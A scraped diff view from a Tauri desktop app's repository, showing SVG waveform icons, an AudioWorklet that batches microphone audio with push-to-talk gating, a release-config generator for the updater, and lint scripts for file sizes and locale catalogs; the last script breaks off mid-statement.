<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 80" fill="currentColor" aria-hidden="true"><rect x="1.67" y="2.00" width="5" height="76.00" rx="2.50"/><rect x="10.00" y="3.00" width="5" height="74.00" rx="2.50"/><rect x="18.33" y="8.36" width="5" height="63.28" rx="2.50"/><rect x="26.67" y="18.64" width="5" height="42.72" rx="2.50"/><rect x="35.00" y="11.99" width="5" height="56.02" rx="2.50"/><rect x="43.33" y="13.08" width="5" height="53.85" rx="2.50"/><rect x="51.67" y="20.68" width="5" height="38.63" rx="2.50"/><rect x="60.00" y="23.10" width="5" height="33.80" rx="2.50"/><rect x="68.33" y="22.30" width="5" height="35.40" rx="2.50"/><rect x="76.67" y="25.61" width="5" height="28.78" rx="2.50"/><rect x="85.00" y="28.18" width="5" height="23.64" rx="2.50"/><rect x="93.33" y="28.91" width="5" height="22.17" rx="2.50"/><rect x="101.67" y="33.65" width="5" height="12.71" rx="2.50"/><rect x="110.00" y="32.97" width="5" height="14.06" rx="2.50"/><rect x="118.33" y="33.99" width="5" height="12.02" rx="2.50"/><rect x="126.67" y="35.91" width="5" height="8.19" rx="2.50"/><rect x="135.00" y="36.06" width="5" height="7.89" rx="2.50"/><rect x="143.33" y="36.28" width="5" height="7.43" rx="2.50"/><rect x="151.67" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="160.00" y="37.35" width="5" height="5.30" rx="2.50"/><rect x="168.33" y="37.88" width="5" height="4.24" rx="2.50"/><rect x="176.67" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="185.00" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="193.33" y="38.00" width="5" height="4.00" rx="2.50"/></svg>

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.
+1
View File
@@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 80" fill="currentColor" aria-hidden="true"><rect x="1.67" y="19.67" width="5" height="40.65" rx="2.50"/><rect x="10.00" y="2.00" width="5" height="76.00" rx="2.50"/><rect x="18.33" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="26.67" y="10.11" width="5" height="59.77" rx="2.50"/><rect x="35.00" y="27.76" width="5" height="24.49" rx="2.50"/><rect x="43.33" y="20.11" width="5" height="39.78" rx="2.50"/><rect x="51.67" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="60.00" y="17.60" width="5" height="44.80" rx="2.50"/><rect x="68.33" y="30.95" width="5" height="18.09" rx="2.50"/><rect x="76.67" y="31.55" width="5" height="16.89" rx="2.50"/><rect x="85.00" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="93.33" y="33.83" width="5" height="12.35" rx="2.50"/><rect x="101.67" y="36.44" width="5" height="7.11" rx="2.50"/><rect x="110.00" y="36.38" width="5" height="7.25" rx="2.50"/><rect x="118.33" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="126.67" y="36.61" width="5" height="6.79" rx="2.50"/><rect x="135.00" y="37.94" width="5" height="4.13" rx="2.50"/><rect x="143.33" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="151.67" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="160.00" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="168.33" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="176.67" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="185.00" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="193.33" y="38.00" width="5" height="4.00" rx="2.50"/></svg>

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.
+1
View File
@@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 80" fill="currentColor" aria-hidden="true"><rect x="1.67" y="7.87" width="5" height="64.26" rx="2.50"/><rect x="10.00" y="2.00" width="5" height="76.00" rx="2.50"/><rect x="18.33" y="11.60" width="5" height="56.79" rx="2.50"/><rect x="26.67" y="14.94" width="5" height="50.12" rx="2.50"/><rect x="35.00" y="21.58" width="5" height="36.83" rx="2.50"/><rect x="43.33" y="21.79" width="5" height="36.43" rx="2.50"/><rect x="51.67" y="23.09" width="5" height="33.82" rx="2.50"/><rect x="60.00" y="28.66" width="5" height="22.67" rx="2.50"/><rect x="68.33" y="29.10" width="5" height="21.80" rx="2.50"/><rect x="76.67" y="29.98" width="5" height="20.04" rx="2.50"/><rect x="85.00" y="32.32" width="5" height="15.36" rx="2.50"/><rect x="93.33" y="33.17" width="5" height="13.65" rx="2.50"/><rect x="101.67" y="33.96" width="5" height="12.08" rx="2.50"/><rect x="110.00" y="35.46" width="5" height="9.08" rx="2.50"/><rect x="118.33" y="36.38" width="5" height="7.25" rx="2.50"/><rect x="126.67" y="36.65" width="5" height="6.71" rx="2.50"/><rect x="135.00" y="36.68" width="5" height="6.64" rx="2.50"/><rect x="143.33" y="37.11" width="5" height="5.77" rx="2.50"/><rect x="151.67" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="160.00" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="168.33" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="176.67" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="185.00" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="193.33" y="38.00" width="5" height="4.00" rx="2.50"/></svg>

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.
+1
View File
@@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 80" fill="currentColor" aria-hidden="true"><rect x="1.67" y="2.00" width="5" height="76.00" rx="2.50"/><rect x="10.00" y="9.00" width="5" height="62.01" rx="2.50"/><rect x="18.33" y="7.32" width="5" height="65.36" rx="2.50"/><rect x="26.67" y="11.42" width="5" height="57.16" rx="2.50"/><rect x="35.00" y="14.72" width="5" height="50.56" rx="2.50"/><rect x="43.33" y="17.31" width="5" height="45.37" rx="2.50"/><rect x="51.67" y="20.92" width="5" height="38.17" rx="2.50"/><rect x="60.00" y="24.76" width="5" height="30.47" rx="2.50"/><rect x="68.33" y="23.17" width="5" height="33.67" rx="2.50"/><rect x="76.67" y="23.37" width="5" height="33.27" rx="2.50"/><rect x="85.00" y="29.60" width="5" height="20.80" rx="2.50"/><rect x="93.33" y="30.37" width="5" height="19.26" rx="2.50"/><rect x="101.67" y="30.79" width="5" height="18.42" rx="2.50"/><rect x="110.00" y="33.84" width="5" height="12.32" rx="2.50"/><rect x="118.33" y="35.06" width="5" height="9.88" rx="2.50"/><rect x="126.67" y="36.65" width="5" height="6.69" rx="2.50"/><rect x="135.00" y="36.73" width="5" height="6.54" rx="2.50"/><rect x="143.33" y="37.24" width="5" height="5.53" rx="2.50"/><rect x="151.67" y="37.62" width="5" height="4.76" rx="2.50"/><rect x="160.00" y="37.89" width="5" height="4.22" rx="2.50"/><rect x="168.33" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="176.67" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="185.00" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="193.33" y="38.00" width="5" height="4.00" rx="2.50"/></svg>

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.
+1
View File
@@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 80" fill="currentColor" aria-hidden="true"><rect x="1.67" y="10.28" width="5" height="59.44" rx="2.50"/><rect x="10.00" y="14.91" width="5" height="50.18" rx="2.50"/><rect x="18.33" y="21.57" width="5" height="36.86" rx="2.50"/><rect x="26.67" y="34.24" width="5" height="11.52" rx="2.50"/><rect x="35.00" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="43.33" y="2.00" width="5" height="76.00" rx="2.50"/><rect x="51.67" y="12.11" width="5" height="55.79" rx="2.50"/><rect x="60.00" y="14.22" width="5" height="51.56" rx="2.50"/><rect x="68.33" y="20.95" width="5" height="38.10" rx="2.50"/><rect x="76.67" y="20.07" width="5" height="39.86" rx="2.50"/><rect x="85.00" y="24.93" width="5" height="30.14" rx="2.50"/><rect x="93.33" y="23.98" width="5" height="32.04" rx="2.50"/><rect x="101.67" y="32.74" width="5" height="14.52" rx="2.50"/><rect x="110.00" y="29.44" width="5" height="21.11" rx="2.50"/><rect x="118.33" y="37.66" width="5" height="4.67" rx="2.50"/><rect x="126.67" y="35.15" width="5" height="9.71" rx="2.50"/><rect x="135.00" y="35.99" width="5" height="8.01" rx="2.50"/><rect x="143.33" y="36.24" width="5" height="7.51" rx="2.50"/><rect x="151.67" y="37.56" width="5" height="4.88" rx="2.50"/><rect x="160.00" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="168.33" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="176.67" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="185.00" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="193.33" y="38.00" width="5" height="4.00" rx="2.50"/></svg>

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.
+1
View File
@@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 80" fill="currentColor" aria-hidden="true"><rect x="1.67" y="5.39" width="5" height="69.22" rx="2.50"/><rect x="10.00" y="4.44" width="5" height="71.11" rx="2.50"/><rect x="18.33" y="2.00" width="5" height="76.00" rx="2.50"/><rect x="26.67" y="7.87" width="5" height="64.26" rx="2.50"/><rect x="35.00" y="24.86" width="5" height="30.28" rx="2.50"/><rect x="43.33" y="12.97" width="5" height="54.05" rx="2.50"/><rect x="51.67" y="12.07" width="5" height="55.86" rx="2.50"/><rect x="60.00" y="19.31" width="5" height="41.39" rx="2.50"/><rect x="68.33" y="26.49" width="5" height="27.03" rx="2.50"/><rect x="76.67" y="28.00" width="5" height="24.01" rx="2.50"/><rect x="85.00" y="24.67" width="5" height="30.65" rx="2.50"/><rect x="93.33" y="29.64" width="5" height="20.72" rx="2.50"/><rect x="101.67" y="30.30" width="5" height="19.40" rx="2.50"/><rect x="110.00" y="35.63" width="5" height="8.74" rx="2.50"/><rect x="118.33" y="36.84" width="5" height="6.32" rx="2.50"/><rect x="126.67" y="37.50" width="5" height="5.01" rx="2.50"/><rect x="135.00" y="34.64" width="5" height="10.72" rx="2.50"/><rect x="143.33" y="35.92" width="5" height="8.16" rx="2.50"/><rect x="151.67" y="36.39" width="5" height="7.21" rx="2.50"/><rect x="160.00" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="168.33" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="176.67" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="185.00" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="193.33" y="38.00" width="5" height="4.00" rx="2.50"/></svg>

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.
+1
View File
@@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 80" fill="currentColor" aria-hidden="true"><rect x="1.67" y="2.00" width="5" height="76.00" rx="2.50"/><rect x="10.00" y="13.42" width="5" height="53.15" rx="2.50"/><rect x="18.33" y="23.34" width="5" height="33.31" rx="2.50"/><rect x="26.67" y="21.82" width="5" height="36.35" rx="2.50"/><rect x="35.00" y="23.34" width="5" height="33.32" rx="2.50"/><rect x="43.33" y="25.31" width="5" height="29.38" rx="2.50"/><rect x="51.67" y="28.81" width="5" height="22.38" rx="2.50"/><rect x="60.00" y="28.42" width="5" height="23.15" rx="2.50"/><rect x="68.33" y="27.25" width="5" height="25.50" rx="2.50"/><rect x="76.67" y="30.28" width="5" height="19.43" rx="2.50"/><rect x="85.00" y="32.79" width="5" height="14.41" rx="2.50"/><rect x="93.33" y="33.78" width="5" height="12.44" rx="2.50"/><rect x="101.67" y="34.80" width="5" height="10.41" rx="2.50"/><rect x="110.00" y="35.70" width="5" height="8.61" rx="2.50"/><rect x="118.33" y="35.96" width="5" height="8.07" rx="2.50"/><rect x="126.67" y="35.88" width="5" height="8.25" rx="2.50"/><rect x="135.00" y="36.59" width="5" height="6.83" rx="2.50"/><rect x="143.33" y="37.17" width="5" height="5.66" rx="2.50"/><rect x="151.67" y="37.79" width="5" height="4.41" rx="2.50"/><rect x="160.00" y="37.97" width="5" height="4.06" rx="2.50"/><rect x="168.33" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="176.67" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="185.00" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="193.33" y="38.00" width="5" height="4.00" rx="2.50"/></svg>

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.
+1
View File
@@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 80" fill="currentColor" aria-hidden="true"><rect x="1.67" y="14.16" width="5" height="51.68" rx="2.50"/><rect x="10.00" y="2.00" width="5" height="76.00" rx="2.50"/><rect x="18.33" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="26.67" y="20.62" width="5" height="38.76" rx="2.50"/><rect x="35.00" y="16.12" width="5" height="47.76" rx="2.50"/><rect x="43.33" y="19.55" width="5" height="40.89" rx="2.50"/><rect x="51.67" y="30.74" width="5" height="18.51" rx="2.50"/><rect x="60.00" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="68.33" y="37.01" width="5" height="5.98" rx="2.50"/><rect x="76.67" y="32.34" width="5" height="15.32" rx="2.50"/><rect x="85.00" y="33.33" width="5" height="13.33" rx="2.50"/><rect x="93.33" y="33.12" width="5" height="13.76" rx="2.50"/><rect x="101.67" y="35.70" width="5" height="8.60" rx="2.50"/><rect x="110.00" y="36.60" width="5" height="6.79" rx="2.50"/><rect x="118.33" y="37.52" width="5" height="4.95" rx="2.50"/><rect x="126.67" y="37.00" width="5" height="6.00" rx="2.50"/><rect x="135.00" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="143.33" y="37.66" width="5" height="4.68" rx="2.50"/><rect x="151.67" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="160.00" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="168.33" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="176.67" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="185.00" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="193.33" y="38.00" width="5" height="4.00" rx="2.50"/></svg>

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.
+1
View File
@@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 80" fill="currentColor" aria-hidden="true"><rect x="1.67" y="2.00" width="5" height="76.00" rx="2.50"/><rect x="10.00" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="18.33" y="31.80" width="5" height="16.40" rx="2.50"/><rect x="26.67" y="29.26" width="5" height="21.48" rx="2.50"/><rect x="35.00" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="43.33" y="34.63" width="5" height="10.73" rx="2.50"/><rect x="51.67" y="31.00" width="5" height="17.99" rx="2.50"/><rect x="60.00" y="32.54" width="5" height="14.91" rx="2.50"/><rect x="68.33" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="76.67" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="85.00" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="93.33" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="101.67" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="110.00" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="118.33" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="126.67" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="135.00" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="143.33" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="151.67" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="160.00" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="168.33" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="176.67" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="185.00" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="193.33" y="38.00" width="5" height="4.00" rx="2.50"/></svg>

After

Width:  |  Height:  |  Size: 1.5 KiB

Binary file not shown.
+1
View File
@@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 80" fill="currentColor" aria-hidden="true"><rect x="1.67" y="14.62" width="5" height="50.75" rx="2.50"/><rect x="10.00" y="4.48" width="5" height="71.03" rx="2.50"/><rect x="18.33" y="2.00" width="5" height="76.00" rx="2.50"/><rect x="26.67" y="6.08" width="5" height="67.84" rx="2.50"/><rect x="35.00" y="10.60" width="5" height="58.80" rx="2.50"/><rect x="43.33" y="8.43" width="5" height="63.15" rx="2.50"/><rect x="51.67" y="18.86" width="5" height="42.28" rx="2.50"/><rect x="60.00" y="20.74" width="5" height="38.52" rx="2.50"/><rect x="68.33" y="25.25" width="5" height="29.49" rx="2.50"/><rect x="76.67" y="28.57" width="5" height="22.87" rx="2.50"/><rect x="85.00" y="32.22" width="5" height="15.55" rx="2.50"/><rect x="93.33" y="31.86" width="5" height="16.28" rx="2.50"/><rect x="101.67" y="32.85" width="5" height="14.30" rx="2.50"/><rect x="110.00" y="35.16" width="5" height="9.67" rx="2.50"/><rect x="118.33" y="35.30" width="5" height="9.40" rx="2.50"/><rect x="126.67" y="36.28" width="5" height="7.45" rx="2.50"/><rect x="135.00" y="36.90" width="5" height="6.20" rx="2.50"/><rect x="143.33" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="151.67" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="160.00" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="168.33" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="176.67" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="185.00" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="193.33" y="38.00" width="5" height="4.00" rx="2.50"/></svg>

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.
+1
View File
@@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 80" fill="currentColor" aria-hidden="true"><rect x="1.67" y="2.00" width="5" height="76.00" rx="2.50"/><rect x="10.00" y="2.17" width="5" height="75.67" rx="2.50"/><rect x="18.33" y="10.04" width="5" height="59.92" rx="2.50"/><rect x="26.67" y="12.17" width="5" height="55.66" rx="2.50"/><rect x="35.00" y="21.25" width="5" height="37.51" rx="2.50"/><rect x="43.33" y="26.84" width="5" height="26.32" rx="2.50"/><rect x="51.67" y="26.12" width="5" height="27.75" rx="2.50"/><rect x="60.00" y="26.64" width="5" height="26.72" rx="2.50"/><rect x="68.33" y="30.07" width="5" height="19.85" rx="2.50"/><rect x="76.67" y="30.79" width="5" height="18.42" rx="2.50"/><rect x="85.00" y="32.20" width="5" height="15.59" rx="2.50"/><rect x="93.33" y="33.44" width="5" height="13.11" rx="2.50"/><rect x="101.67" y="33.88" width="5" height="12.24" rx="2.50"/><rect x="110.00" y="35.00" width="5" height="10.00" rx="2.50"/><rect x="118.33" y="35.81" width="5" height="8.39" rx="2.50"/><rect x="126.67" y="36.57" width="5" height="6.87" rx="2.50"/><rect x="135.00" y="37.21" width="5" height="5.58" rx="2.50"/><rect x="143.33" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="151.67" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="160.00" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="168.33" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="176.67" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="185.00" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="193.33" y="38.00" width="5" height="4.00" rx="2.50"/></svg>

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.
+1
View File
@@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 80" fill="currentColor" aria-hidden="true"><rect x="1.67" y="6.75" width="5" height="66.50" rx="2.50"/><rect x="10.00" y="2.00" width="5" height="76.00" rx="2.50"/><rect x="18.33" y="8.01" width="5" height="63.98" rx="2.50"/><rect x="26.67" y="14.07" width="5" height="51.85" rx="2.50"/><rect x="35.00" y="34.92" width="5" height="10.15" rx="2.50"/><rect x="43.33" y="17.60" width="5" height="44.80" rx="2.50"/><rect x="51.67" y="22.20" width="5" height="35.60" rx="2.50"/><rect x="60.00" y="23.30" width="5" height="33.41" rx="2.50"/><rect x="68.33" y="22.91" width="5" height="34.17" rx="2.50"/><rect x="76.67" y="31.39" width="5" height="17.23" rx="2.50"/><rect x="85.00" y="29.49" width="5" height="21.03" rx="2.50"/><rect x="93.33" y="29.16" width="5" height="21.67" rx="2.50"/><rect x="101.67" y="35.82" width="5" height="8.37" rx="2.50"/><rect x="110.00" y="34.37" width="5" height="11.27" rx="2.50"/><rect x="118.33" y="35.79" width="5" height="8.42" rx="2.50"/><rect x="126.67" y="35.92" width="5" height="8.17" rx="2.50"/><rect x="135.00" y="36.59" width="5" height="6.83" rx="2.50"/><rect x="143.33" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="151.67" y="37.65" width="5" height="4.69" rx="2.50"/><rect x="160.00" y="37.96" width="5" height="4.09" rx="2.50"/><rect x="168.33" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="176.67" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="185.00" y="38.00" width="5" height="4.00" rx="2.50"/><rect x="193.33" y="38.00" width="5" height="4.00" rx="2.50"/></svg>

After

Width:  |  Height:  |  Size: 1.6 KiB

+67
View File
@@ -0,0 +1,67 @@
// AudioWorklet processor — runs in the AudioWorklet thread.
// Accumulates PCM Float32 samples and sends 20ms batches to the main thread.
//
// ASSUMPTION: AudioContext runs at 48 kHz (Tauri WebView default on desktop).
// The 960-sample buffer = exactly one 20ms Opus frame at 48 kHz. If the
// sample rate differs (e.g. 44.1 kHz), frames will be slightly misaligned
// with the Opus encoder. getUserMedia should request sampleRate: 48000.
//
// Supports push-to-talk (PTT) gating: when `this.transmitting` is false,
// incoming audio frames are discarded and the buffer is reset. The main thread
// sends `{ type: 'ptt', active: boolean }` messages to toggle transmission.
// Default: transmitting=true (open mic for VAD mode compatibility).
//
// Note: when the worklet is disconnected, any partial buffer (< 960 samples)
// is silently dropped. The last ~20ms of speech may be lost on huddle leave.
// This is acceptable for voice — losing a partial syllable at disconnect is
// imperceptible compared to the natural end-of-conversation flow.
class SttTapProcessor extends AudioWorkletProcessor {
constructor() {
super();
this.buffer = new Float32Array(960); // ~20ms at 48kHz
this.offset = 0;
this.transmitting = true; // default: open (VAD mode). PTT mode sets false on init.
// Direction: main→worklet (receives). The worklet→main direction uses
// this.port.postMessage for PCM data — these don't conflict.
this.port.onmessage = (e) => {
if (e.data && e.data.type === "ptt") {
this.transmitting = e.data.active;
}
};
}
process(inputs) {
const input = inputs[0]?.[0]; // mono channel
if (!input) return true;
// PTT gating: discard frames when not transmitting.
// Reset buffer offset so we don't send stale audio when PTT activates.
if (!this.transmitting) {
this.offset = 0;
return true;
}
const remaining = this.buffer.length - this.offset;
const toCopy = Math.min(input.length, remaining);
this.buffer.set(input.subarray(0, toCopy), this.offset);
this.offset += toCopy;
if (this.offset >= this.buffer.length) {
// Transfer ownership for zero-copy
this.port.postMessage(this.buffer, [this.buffer.buffer]);
this.buffer = new Float32Array(960);
this.offset = 0;
if (toCopy < input.length) {
const leftover = input.subarray(toCopy);
this.buffer.set(leftover);
this.offset = leftover.length;
}
}
return true;
}
}
registerProcessor("stt-tap-processor", SttTapProcessor);
+67
View File
@@ -0,0 +1,67 @@
import { writeFileSync } from "node:fs";
import { resolve } from "node:path";
// Write a tauri.release.conf.json with release-only overrides.
//
// Tauri's --config flag merges the provided JSON on top of the base
// tauri.conf.json, so this file must contain ONLY the delta fields —
// not a copy of the base config.
//
// For OSS release builds this script emits:
// 1. bundle.macOS.minimumSystemVersion = "10.15" for broad compatibility.
// 2. bundle.createUpdaterArtifacts = true so Tauri produces the .tar.gz
// archive and .sig signature during the build.
// 3. plugins.updater with the public key and endpoint from env vars.
// Both BUZZ_UPDATER_PUBLIC_KEY and BUZZ_UPDATER_ENDPOINT are required -
// the script fails if either is missing (OSS builds always ship with updater).
//
// Apple code signing and notarization happen post-build via
// block/apple-codesign-action in release.yml, so no signingIdentity is
// emitted here and the Tauri build is invoked with --no-sign.
const outputConfigPath = resolve(
process.cwd(),
"src-tauri/tauri.release.conf.json",
);
const updaterPubkey = process.env.BUZZ_UPDATER_PUBLIC_KEY;
const updaterEndpoint = process.env.BUZZ_UPDATER_ENDPOINT;
const missing = [];
if (!updaterPubkey) missing.push("BUZZ_UPDATER_PUBLIC_KEY");
if (!updaterEndpoint) missing.push("BUZZ_UPDATER_ENDPOINT");
if (missing.length > 0) {
console.error(
`Error: required environment variable(s) missing: ${missing.join(", ")}`,
);
process.exit(1);
}
const releaseConfig = {
bundle: {
macOS: {
minimumSystemVersion: "10.15",
},
createUpdaterArtifacts: true,
},
plugins: {
updater: {
pubkey: updaterPubkey,
endpoints: [updaterEndpoint],
},
},
};
// Tauri applies --config after platform-specific config using RFC 7396.
// Any externalBin value here would therefore replace the platform sidecar list,
// while null would silently delete it. This delta must never own that key.
if (Object.hasOwn(releaseConfig.bundle, "externalBin")) {
throw new Error(
"Release config must not define bundle.externalBin; sidecars are platform-specific",
);
}
console.log(`Updater enabled -> ${updaterEndpoint}`);
writeFileSync(outputConfigPath, `${JSON.stringify(releaseConfig, null, 2)}\n`);
console.log(`Wrote ${outputConfigPath}`);
+61
View File
@@ -0,0 +1,61 @@
import path from "node:path";
import { fileURLToPath } from "node:url";
import { runFileSizeCheck } from "../../scripts/check-file-sizes-core.mjs";
const __dirname = path.dirname(fileURLToPath(import.meta.url));
const projectRoot = path.resolve(__dirname, "..");
const MAX_LINES = 1000;
const rules = [
{ root: "src-tauri/src", extensions: new Set([".rs"]), maxLines: MAX_LINES },
// Workspace member crates. Without this the ratchet's only Rust root is
// `src-tauri/src`, and a crate under `src-tauri/crates/` is born outside the
// repo's one size discipline -- silently, since the check still exits 0.
{
root: "src-tauri/crates",
extensions: new Set([".rs"]),
maxLines: MAX_LINES,
},
{
root: "src/app",
extensions: new Set([".ts", ".tsx"]),
maxLines: MAX_LINES,
},
{
root: "src/features",
extensions: new Set([".ts", ".tsx"]),
maxLines: MAX_LINES,
},
{
root: "src/shared/api",
extensions: new Set([".ts", ".tsx"]),
maxLines: MAX_LINES,
},
{
root: "src/shared/context",
extensions: new Set([".ts", ".tsx"]),
maxLines: MAX_LINES,
},
{
root: "src/shared/lib",
extensions: new Set([".ts", ".tsx"]),
maxLines: MAX_LINES,
},
{
root: "src/shared/ui",
extensions: new Set([".ts", ".tsx"]),
maxLines: MAX_LINES,
},
{
root: "src/shared/styles",
extensions: new Set([".css"]),
maxLines: MAX_LINES,
},
];
await runFileSizeCheck({
projectRoot,
rules,
label: "Desktop",
});
+110
View File
@@ -0,0 +1,110 @@
import { readFileSync, readdirSync, statSync } from "node:fs";
import { dirname, join, relative } from "node:path";
import { fileURLToPath } from "node:url";
const desktopDir = dirname(dirname(fileURLToPath(import.meta.url)));
const sourceDir = join(desktopDir, "src");
const localeFiles = ["en.json", "zh-Hans.json", "zh-Hant.json"];
const supplementalLocaleFiles = [
["ui-copy.en.json", "ui-dynamic.en.json"],
["ui-copy.zh-Hans.json", "ui-dynamic.zh-Hans.json"],
["ui-copy.zh-Hant.json", "ui-dynamic.zh-Hant.json"],
];
function flatten(value, prefix = "", result = {}) {
for (const [key, child] of Object.entries(value)) {
const path = prefix ? `${prefix}.${key}` : key;
if (child && typeof child === "object" && !Array.isArray(child)) {
flatten(child, path, result);
} else {
result[path] = String(child);
}
}
return result;
}
function placeholders(value) {
return [...value.matchAll(/\{\{\s*([^},\s]+)[^}]*\}\}/g)]
.map((match) => match[1])
.sort();
}
const catalogs = localeFiles.map((file, index) => ({
file,
entries: flatten(
Object.assign(
JSON.parse(readFileSync(join(sourceDir, "locales", file), "utf8")),
...supplementalLocaleFiles[index].map((supplementalFile) =>
JSON.parse(
readFileSync(join(sourceDir, "locales", supplementalFile), "utf8"),
),
),
),
),
}));
const referenceKeys = Object.keys(catalogs[0].entries);
for (const catalog of catalogs.slice(1)) {
const keys = new Set(Object.keys(catalog.entries));
const missing = referenceKeys.filter((key) => !keys.has(key));
const extra = [...keys].filter((key) => !(key in catalogs[0].entries));
if (missing.length || extra.length) {
throw new Error(
`${catalog.file} locale mismatch\nmissing: ${missing.join(", ")}\nextra: ${extra.join(", ")}`,
);
}
}
for (const key of referenceKeys) {
const expected = JSON.stringify(placeholders(catalogs[0].entries[key]));
for (const catalog of catalogs.slice(1)) {
const actual = JSON.stringify(placeholders(catalog.entries[key]));
if (actual !== expected) {
throw new Error(`${catalog.file} placeholder mismatch for ${key}`);
}
}
}
const references = new Map();
function scanDirectory(directory) {
for (const name of readdirSync(directory)) {
if (["__snapshots__", "locales", "testing"].includes(name)) continue;
const path = join(directory, name);
if (statSync(path).isDirectory()) {
scanDirectory(path);
continue;
}
if (!/\.(mjs|ts|tsx)$/.test(name) || /\.(spec|test)\./.test(name)) continue;
const source = readFileSync(path, "utf8");
for (const match of source.matchAll(/\bt\(\s*["']([^"']+)["']/g)) {
const key = match[1];
if (!/^[A-Za-z][\w-]*(?:\.[A-Za-z][\w-]*)+$/.test(key)) continue;
if (!references.has(key)) references.set(key, relative(desktopDir, path));
}
for (const match of source.matchAll(/\bi18nKey\s*=\s*["']([^"']+)["']/g)) {
const key = match[1];
if (!/^[A-Za-z][\w-]*(?:\.[A-Za-z][\w-]*)+$/.test(key)) continue;
if (!references.has(key)) references.set(key, relative(desktopDir, path));
}
}
}
scanDirectory(sourceDir);
const knownKeys = new Set(referenceKeys);
const missingReferences = [...references].filter(
